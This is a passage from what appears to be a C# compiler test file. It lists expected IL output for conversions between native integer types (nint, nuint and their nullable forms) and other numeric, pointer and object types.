conversions(sourceType: "nint", destType: "float?", expectedImplicitIL: convToNullableT("conv.r4", "float"), expectedExplicitIL: convToNullableT("conv.r4", "float"), null);
conversions(sourceType: "nint", destType: "double?", expectedImplicitIL: convToNullableT("conv.r8", "double"), expectedExplicitIL: convToNullableT("conv.r8", "double"), null);
conversions(sourceType: "nint", destType: "decimal?",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}");
conversions(sourceType: "nint", destType: "System.IntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nint", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "nint?", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nint?""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nint?""
IL_0006: ret
}");
conversions(sourceType: "nint?", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint?", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: call ""void* System.IntPtr.op_Explicit(System.IntPtr)""
IL_000c: ret
}");
conversions(sourceType: "nint?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2", "nint"));
conversions(sourceType: "nint?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i1", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.i1", "nint"));
conversions(sourceType: "nint?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u1", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u1", "nint"));
conversions(sourceType: "nint?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i2", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.i2", "nint"));
conversions(sourceType: "nint?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2", "nint"));
conversions(sourceType: "nint?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i4", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.i4", "nint"));
conversions(sourceType: "nint?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u4", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u4", "nint"));
conversions(sourceType: "nint?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i8", "nint"));
conversions(sourceType: "nint?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i8", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u8", "nint"));
conversions(sourceType: "nint?", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r4", "nint"));
conversions(sourceType: "nint?", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r8", "nint"));
conversions(sourceType: "nint?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: conv.i8
IL_0008: call ""decimal decimal.op_Implicit(long)""
IL_000d: ret
}");
conversions(sourceType: "nint?", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "nint?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "nint?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nint", "char"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2", "nint", "char"));
conversions(sourceType: "nint?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i1", "nint", "sbyte"), expectedCheckedIL: convFromToNullableT("conv.ovf.i1", "nint", "sbyte"));
conversions(sourceType: "nint?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u1", "nint", "byte"), expectedCheckedIL: convFromToNullableT("conv.ovf.u1", "nint", "byte"));
conversions(sourceType: "nint?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i2", "nint", "short"), expectedCheckedIL: convFromToNullableT("conv.ovf.i2", "nint", "short"));
conversions(sourceType: "nint?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nint", "ushort"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2", "nint", "ushort"));
conversions(sourceType: "nint?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i4", "nint", "int"), expectedCheckedIL: convFromToNullableT("conv.ovf.i4", "nint", "int"));
conversions(sourceType: "nint?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u4", "nint", "uint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u4", "nint", "uint"));
conversions(sourceType: "nint?", destType: "long?", expectedImplicitIL: convFromToNullableT("conv.i8", "nint", "long"), expectedExplicitIL: convFromToNullableT("conv.i8", "nint", "long"));
conversions(sourceType: "nint?", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i8", "nint", "ulong"), expectedCheckedIL: convFromToNullableT("conv.ovf.u8", "nint", "ulong"));
conversions(sourceType: "nint?", destType: "float?", expectedImplicitIL: convFromToNullableT("conv.r4", "nint", "float"), expectedExplicitIL: convFromToNullableT("conv.r4", "nint", "float"), null);
conversions(sourceType: "nint?", destType: "double?", expectedImplicitIL: convFromToNullableT("conv.r8", "nint", "double"), expectedExplicitIL: convFromToNullableT("conv.r8", "nint", "double"), null);
conversions(sourceType: "nint?", destType: "decimal?",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: conv.i8
IL_001d: call ""decimal decimal.op_Implicit(long)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: conv.i8
IL_001d: call ""decimal decimal.op_Implicit(long)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}");
conversions(sourceType: "nint?", destType: "System.IntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nint?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "object", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.UIntPtr System.UIntPtr.op_Explicit(void*)""
IL_0006: ret
}");
conversions(sourceType: "bool", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "sbyte", destType: "nuint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "byte", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "short", destType: "nuint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "ushort", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "int", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "uint", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "long", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "ulong", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u.un"));
conversions(sourceType: "nint", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "nuint", destType: "nuint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "float", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "double", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "decimal", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.u
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.u.un
IL_0007: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "nuint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "bool?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "char"));
conversions(sourceType: "sbyte?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "sbyte"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "sbyte"));
conversions(sourceType: "byte?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "byte"));
conversions(sourceType: "short?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "short"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "short"));
conversions(sourceType: "ushort?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "ushort"));
conversions(sourceType: "int?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "int"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "int"));
conversions(sourceType: "uint?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "uint"));
conversions(sourceType: "long?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "long"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "long"));
conversions(sourceType: "ulong?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "ulong"), expectedCheckedIL: convFromNullableT("conv.ovf.u.un", "ulong"));
conversions(sourceType: "nint?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "nint"));
conversions(sourceType: "nuint?", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "float?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "float"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "float"));
conversions(sourceType: "double?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "double"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "double"));
conversions(sourceType: "decimal?", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""ulong decimal.op_Explicit(decimal)""
IL_000c: conv.u
IL_000d: ret
}",
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""ulong decimal.op_Explicit(decimal)""
IL_000c: conv.ovf.u.un
IL_000d: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "object", destType: "nuint?", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""nuint?""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nuint?", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.UIntPtr System.UIntPtr.op_Explicit(void*)""
IL_0006: newobj ""nuint?..ctor(nuint)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "sbyte", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.i", "nuint"), expectedExplicitIL: convToNullableT("conv.i", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "byte", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "short", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.i", "nuint"), expectedExplicitIL: convToNullableT("conv.i", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "ushort", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "int", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "uint", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "long", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "ulong", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u.un", "nuint"));
conversions(sourceType: "nint", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "nuint", destType: "nuint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}");
conversions(sourceType: "float", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "double", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "decimal", destType: "nuint?", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.u
IL_0007: newobj ""nuint?..ctor(nuint)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.u.un
IL_0007: newobj ""nuint?..ctor(nuint)""
IL_000c: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "nuint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}");
conversions(sourceType: "bool?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "char", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "char", "nuint"));
conversions(sourceType: "sbyte?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.i", "sbyte", "nuint"), expectedExplicitIL: convFromToNullableT("conv.i", "sbyte", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "sbyte", "nuint"));
conversions(sourceType: "byte?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "byte", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "byte", "nuint"));
conversions(sourceType: "short?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.i", "short", "nuint"), expectedExplicitIL: convFromToNullableT("conv.i", "short", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "short", "nuint"));
conversions(sourceType: "ushort?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "ushort", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "ushort", "nuint"));
conversions(sourceType: "int?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "int", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "int", "nuint"));
conversions(sourceType: "uint?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "uint", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "uint", "nuint"));
conversions(sourceType: "long?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "long", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "long", "nuint"));
conversions(sourceType: "ulong?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "ulong", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u.un", "ulong", "nuint"));
conversions(sourceType: "nint?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "nint", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "nint", "nuint"));
conversions(sourceType: "nuint?", destType: "nuint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "float?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "float", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "float", "nuint"));
conversions(sourceType: "double?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "double", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "double", "nuint"));
conversions(sourceType: "decimal?", destType: "nuint?", null,
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""ulong decimal.op_Explicit(decimal)""
IL_0021: conv.u
IL_0022: newobj ""nuint?..ctor(nuint)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""ulong decimal.op_Explicit(decimal)""
IL_0021: conv.ovf.u.un
IL_0022: newobj ""nuint?..ctor(nuint)""
IL_0027: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "nuint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "nuint", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""void* System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nuint", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint", destType: "char", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2.un"));
conversions(sourceType: "nuint", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i1"), expectedCheckedIL: conv("conv.ovf.i1.un"));
conversions(sourceType: "nuint", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u1"), expectedCheckedIL: conv("conv.ovf.u1.un"));
conversions(sourceType: "nuint", destType: "short", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i2"), expectedCheckedIL: conv("conv.ovf.i2.un"));
conversions(sourceType: "nuint", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2.un"));
conversions(sourceType: "nuint", destType: "int", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i4"), expectedCheckedIL: conv("conv.ovf.i4.un"));
conversions(sourceType: "nuint", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u4"), expectedCheckedIL: conv("conv.ovf.u4.un"));
conversions(sourceType: "nuint", destType: "long", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u8"), expectedCheckedIL: conv("conv.ovf.i8.un"));
conversions(sourceType: "nuint", destType: "ulong", expectedImplicitIL: conv("conv.u8"), expectedExplicitIL: conv("conv.u8"));
conversions(sourceType: "nuint", destType: "float", expectedImplicitIL: conv("conv.r4"), expectedExplicitIL: conv("conv.r4"));
conversions(sourceType: "nuint", destType: "double", expectedImplicitIL: conv("conv.r8"), expectedExplicitIL: conv("conv.r8"));
conversions(sourceType: "nuint", destType: "decimal",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: ret
}");
conversions(sourceType: "nuint", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint", destType: "System.UIntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "char"), expectedCheckedIL: convToNullableT("conv.ovf.u2.un", "char"));
conversions(sourceType: "nuint", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i1", "sbyte"), expectedCheckedIL: convToNullableT("conv.ovf.i1.un", "sbyte"));
conversions(sourceType: "nuint", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u1", "byte"), expectedCheckedIL: convToNullableT("conv.ovf.u1.un", "byte"));
conversions(sourceType: "nuint", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i2", "short"), expectedCheckedIL: convToNullableT("conv.ovf.i2.un", "short"));
conversions(sourceType: "nuint", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "ushort"), expectedCheckedIL: convToNullableT("conv.ovf.u2.un", "ushort"));
conversions(sourceType: "nuint", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i4", "int"), expectedCheckedIL: convToNullableT("conv.ovf.i4.un", "int"));
conversions(sourceType: "nuint", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u4", "uint"), expectedCheckedIL: convToNullableT("conv.ovf.u4.un", "uint"));
conversions(sourceType: "nuint", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u8", "long"), expectedCheckedIL: convToNullableT("conv.ovf.i8.un", "long"));
conversions(sourceType: "nuint", destType: "ulong?", expectedImplicitIL: convToNullableT("conv.u8", "ulong"), expectedExplicitIL: convToNullableT("conv.u8", "ulong"));
conversions(sourceType: "nuint", destType: "float?", expectedImplicitIL: convToNullableT("conv.r4", "float"), expectedExplicitIL: convToNullableT("conv.r4", "float"), null);
conversions(sourceType: "nuint", destType: "double?", expectedImplicitIL: convToNullableT("conv.r8", "double"), expectedExplicitIL: convToNullableT("conv.r8", "double"), null);
conversions(sourceType: "nuint", destType: "decimal?",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}");
conversions(sourceType: "nuint", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint", destType: "System.UIntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nuint?", destType: "object",
@"{
// Code size 7 (0x7)
